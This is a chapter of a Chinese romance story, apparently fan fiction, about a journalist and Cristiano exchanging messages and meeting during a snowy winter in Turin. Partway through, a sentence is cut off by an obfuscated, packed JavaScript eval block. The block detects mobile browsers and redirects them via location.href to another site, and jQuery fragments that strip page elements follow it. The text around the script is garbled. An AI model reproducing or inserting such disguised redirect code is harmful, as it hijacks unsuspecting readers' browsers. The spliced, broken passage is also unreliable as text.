雪连续下了三天，都灵被罩在一片柔软的白色里，波河水流迟缓，岸边结着薄冰。


    苏晚栀晨跑时换了路线，沿着覆雪的小径跑向城市高处，能望见远方阿尔卑斯山脉连绵的雪线，在清晨的阳光下闪着冷冽的光。


    训练改在室内进行，媒体采访暂停。但她依然每天收到他的短信，内容琐碎得像天气预告：“今天健身房暖气太足”、“冰浴后看到窗外的山雀”、“理疗师说我左腿肌肉太紧”。


    她从不回复这些，但会在写稿时不自觉用上这些细节，一篇关于球员冬季恢复的专题里，她写道：“当阿尔卑斯的雪线不断降低时，有人正在用汗水对抗地心引力。”


    稿子发表后的傍晚，她收到一张照片。是从室内训练场落地窗拍出去的景象，阿尔卑斯山笼罩在暮色里，雪线之上有最后一抹金晖。附言：“A linha de neve。”（雪线。）


    她用葡语回：“Está a descer。”（它在下降）


    “N??o para mim。”（对我而言没有）


    对话中止。但一小时后，电话响了。克里斯蒂亚诺的声音带着运动后的松弛：“怎么知道雪线在下降？”


    “我每天跑步时看它。”她站在窗前，远处山脉已成剪影，“一天比一天低。”


    “像某种倒计时。”他轻笑，“但对我无效。33岁的膝盖和23岁没区别，只要训练量足够。”


    “这是科学还是魔法？”


    “是意志。”水声传来，他在喝水，“雪线会降到城市边缘，但不会进更衣室。就像年龄会增长，但不会偷走状态，除非你允许。”


    电话那头有器械移动的声响。他还在健身房，背景音里有其他人的说话声，但他压低声音，像在说悄悄话：“明天下午雪停，公开训练恢复。你会来吗？”


    “日程表上有安排。”


    “不是问日程。”水声又响，他咽下口水，“是问你。”


    苏晚栀握紧手机。窗外，雪又开始下，细密地落在玻璃上。


    “我会来。”她说。


    “好。”他挂断前补了一句，“多穿点。露台很冷。”


    电话忙音响起时，她才发现自己嘴角是扬起的。


    第二天雪停了，但温度骤降。苏晚栀裹着厚羽绒服走上露台，三脚架支在雪水里。训练场被清扫出来，绿茵衬着白雪，像黑白相间的棋盘。


    克里斯蒂亚诺出现时，穿着长袖训练服，呵出的白气模糊了表情。常规训练后，队员陆续离开，他留下加练任意球。雪地被踩出杂乱的脚印，球摆在不同位置。


    第一个球踢飞了，砸在广告牌上发出闷响。他摇头，走回点位。第二个球划过弧线，击中横梁。第三球，第四球…雪光反射着夕阳，镜头里他的身影有些刺眼。


    第五球，他退后很远，助跑，摆腿……球却软绵绵偏出底线。


    他弯腰喘气，双手撑膝，额发垂下来遮住眼睛。这个姿势保持了十几秒，然后突然直起身，一脚踢飞了旁边的雪堆。


    苏晚栀放下相机。这不是她熟悉的克里斯蒂亚诺，那个永远控制情绪、展示专业的人。这是一个受挫的运动员，在雪地里暴露了烦躁。


    他抬头望向露台。距离太远，看不清眼神，但能感觉他在寻找什么。苏晚栀下意识举起手，轻轻挥了挥。


    他愣住，然后也抬手回应。不是惯常的致意，而是手掌张开，向前推了推像在说“继续”。


    他走回球前，摆球，深呼吸。助跑，射门。球划出完美的弧线，直挂死角。


    进球后，他没庆祝，只是望向露台，点了点头。


    训练结束，他裹着大衣走向通道。苏晚栀收拾器材时，手机震动。短信来自陌生号码：“停车场B口。”


    没有署名，但她知道是谁。犹豫片刻，她背着相机包下楼。停车场空旷阴冷，他的黑色SUV停在角落，车窗降下一半。


    “上车。”克里斯蒂亚诺说。他换上了便装，头发湿漉漉的，像刚洗过澡。


    “我要回酒店写稿。”


    “车上说。”他推开副驾门，“关于雪线的事。”


    车内暖气很足，有薄荷和皮革混合的味道。苏晚栀坐进去，空间顿时显得拥挤。他递来一杯热巧克力：“喝掉。你嘴唇发紫。”


    她接过来，烫得指尖发麻。甜腻的香气弥漫开，她小口喝着，听他开口：


    “为什么挥手？”


    “因为你需要。”


    “需要什么？”


    “被看见。”她转向他，“不是被镜头看见，是被一个人看见。看见你踢飞任意球，看见你发脾气，看见你重新站起来。”


    克里斯蒂亚诺手指敲着方向盘：“你很自信。”


    “我是记者。观察人是本能。”


    “那观察到什么了？”


    “观察到阿尔卑斯山的雪线在你心里。”她放下杯子，“它每天都在降，但你在建墙，不让它越过你的底线。”


    他沉默片刻，发动引擎：“送你回去。”


    车驶出停车场，雪后的都灵街


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955429|193116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道安静。路过波河时，他忽然问：“你的底线在哪里？”


    “什么？”


    “作为记者，你能走多远？”他目视前方，“比如现在，你坐在采访对象的车里，喝着他的热巧克力。这越过线了吗？”


    苏晚栀握紧纸杯：“这是工作延伸。”


    “说谎。”他轻笑，“没有记者会为采访对象挥手加油。”


    “也没有球员会邀请记者上车。”


    路口红灯，车停下。他转头看她，眼睛在暮色里深得像井：“知道我为什么找你吗？”


    “雪线的事？”


    “因为你能看见雪线。”绿灯亮起，他踩下油门，“大多数人只看见山。但你在看那条线，那条看不见的边界。”


    车停在酒店附近巷口。他递来一张纸条：“明天下午三点，这个地方。关于雪线，有东西给你看。”


    纸条上是手写地址，郊区某个观景台。苏晚栀没接：“这是私人邀约。”


    “这是背景资料。”他语气自然，“关于阿尔卑斯山如何影响都灵气候，进而影响训练条件，希望你的下一篇稿子可以用上。”


    她接过纸条。指尖相触时，他轻轻勾住她的小指，一瞬即松。


    “明天见。”他说。


    下车后，苏晚栀站在街角，看黑色SUV汇入车流。纸条在手心攥得发烫，像偷来的炭火。


    回房间后，她搜索那个地址。是远离市区的山腰观景台，冬季封闭，但能俯瞰整个都灵盆地。她写稿到深夜，但阿尔卑斯山的雪线总在眼前晃动。


    凌晨，她收到他的邮件。没有文字，只有一张照片，从山腰俯拍都灵夜景，城市灯火在雪地里绵延，安联球场像一枚黑白棋子。拍摄时间显示是两小时前，他深夜独自上山。


    她回复：“为什么拍这个？”


    五分钟后，新邮件到达。是段语音，风声很大，他的声音裹在寒气里：


    “因为从这个高度，雪线消失了。山是白的，城市是亮的，没有界限。年龄也好，赛季也罢，都是人划的线。而我想知道…”


    语音到此切断。一分钟后，补发完整版：


    “…而我想知道，有没有人愿意站在线消失的地方看我。”


    苏晚栀反复听最后一句。愿意站在线消失的地方，这是邀请，还是试探？


    她走到窗边。雪又下了起来，城市模糊在雪幕之后。但远方山腰上，似乎有车灯闪烁，像某种信号。


    线已经划下。


    而明天，她必须决定，站在哪一边。